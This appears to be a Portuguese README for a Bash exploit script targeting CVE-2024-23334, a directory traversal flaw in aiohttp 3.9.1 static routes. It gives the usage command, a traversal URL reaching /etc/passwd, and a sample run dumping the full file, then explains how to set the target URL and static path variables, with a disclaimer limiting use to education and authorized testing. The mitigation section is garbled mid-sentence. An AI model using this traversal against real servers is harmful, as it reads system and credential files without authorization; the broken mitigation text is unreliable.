
Script Bash para automatizar ataques de Inclusão de Arquivo Local (LFI) no servidor aiohttp versão 3.9.1.
Um script Bash para automatizar ataques de Inclusão de Arquivo Local (LFI) em servidores aiohttp vulneráveis, visando especificamente o CVE-2024-23334. Esta exploração permite acesso não autorizado a arquivos arbitrários em sistemas que executam versões afetadas do aiohttp com rotas estáticas configuradas incorretamente.
A vulnerabilidade CVE-2024-23334 afeta o framework HTTP assíncrono aiohttp para Python e asyncio. Ela ocorre quando o aiohttp é usado como servidor web com rotas estáticas, o que pode criar vulnerabilidades de travessia de diretório se mal configurado. Isso permite que um atacante acesse arquivos arbitrários no sistema sem autorização.
Mitigações para esta vulnerabilidade incluem:
follow_symlinks na configuração do servidor.curl: Certifique-se de que o curl está instalado no seu sistema, pois é usado para fazer requisições HTTP.Para executar o script, rode o seguinte comando:
./lfi_aiohttp.sh -f /caminho/para/arquivo/a/extrair
Se tudo correr bem, você deverá ver um resultado semelhante a:
[+] Curl output to the resulting url: http://localhost:8080/assets/../../..//etc/passwd.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
[+] File dumped successfully.
Importante: As variáveis
main_urlepayloadno script podem precisar ser ajustadas dependendo do ambiente alvo.
main_url: Esta variável deve ser configurada com a URL do servidor aiohttp alvo (ex.: http://localhost:8080). Modifique-a de acordo com o endereço real do servidor que você está testando.payload: Esta variável representa a rota de arquivo estático no servidor (ex.: /assets/). Certifique-se de que este caminho corresponde à configuração do diretório de arquivos estáticos do servidor alvo.Antes de executar o script, revise essas variáveis para garantir que estejam configuradas corretamente para seu cenário de teste. Configurações incorretas podem resultar em tentativas frustradas de acessar arquivos ou em comportamento não intencional.
Este script é destinado apenas para fins educacionais e testes de penetração autorizados. O uso não autorizado deste script é proibido e pode ser ilegal.